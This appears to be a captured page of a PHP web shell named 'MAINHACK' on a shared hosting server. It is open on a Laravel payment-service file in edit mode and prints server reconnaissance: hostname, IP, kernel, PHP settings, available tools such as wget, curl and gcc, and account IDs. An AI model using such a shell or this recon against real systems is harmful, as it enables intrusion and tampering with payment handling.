[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PaymentService.php
<?php namespace App\Services; use Exception; use App\Enums\Ask; use App\Models\User; use App\Enums\Status; use App\Models\Order; use App\Models\Stock; use App\Enums\OrderStatus; use App\Models\Transaction; use App\Enums\PaymentStatus; use App\Events\SendOrderSms; use App\Events\SendOrderMail; use App\Events\SendOrderPush; use App\Events\SendOrderGotSms; use App\Events\SendOrderGotMail; use App\Events\SendOrderGotPush; use App\Libraries\QueryExceptionLibrary; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; class PaymentService { public object $transaction; /** * @throws Exception */ public function payment($order, $gatewaySlug, $transactionNo): object { try { DB::transaction(function () use ($order, $gatewaySlug, $transactionNo) { $transaction = Transaction::where(['order_id' => $order->id])->first(); if (!$transaction) { $transaction = Transaction::create([ 'order_id' => $order->id, 'transaction_no' => $transactionNo, 'amount' => $order->total, 'payment_method' => $gatewaySlug, 'sign' => '+', 'type' => 'payment' ]); } $this->transaction = $transaction; $order->active = Ask::YES; $order->payment_status = PaymentStatus::PAID; $order->save(); Stock::where(['model_id' => $order->id, 'model_type' => Order::class, 'status' => Status::INACTIVE])?->update(['status' => Status::ACTIVE]); SendOrderMail::dispatch(['order_id' => $order->id, 'status' => OrderStatus::PENDING]); SendOrderSms::dispatch(['order_id' => $order->id, 'status' => OrderStatus::PENDING]); SendOrderPush::dispatch(['order_id' => $order->id, 'status' => OrderStatus::PENDING]); SendOrderGotMail::dispatch(['order_id' => $order->id]); SendOrderGotSms::dispatch(['order_id' => $order->id]); SendOrderGotPush::dispatch(['order_id' => $order->id]); }); return $this->transaction; } catch (Exception $exception) { Log::info($exception->getMessage()); DB::rollBack(); throw new Exception(QueryExceptionLibrary::message($exception), 422); } } public function cashBack($order, $gatewaySlug, $transactionNo) { $transaction = Transaction::where(['order_id' => $order->id])->first(); if ($transaction) { $transaction = Transaction::create([ 'order_id' => $order->id, 'transaction_no' => $transactionNo, 'amount' => $order->total, 'payment_method' => $gatewaySlug, 'sign' => '-', 'type' => 'cash_back' ]); $user = User::find($order->user_id); if ($user) { $user->balance = ($user->balance + $order->total); $user->save(); } } return $transaction; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285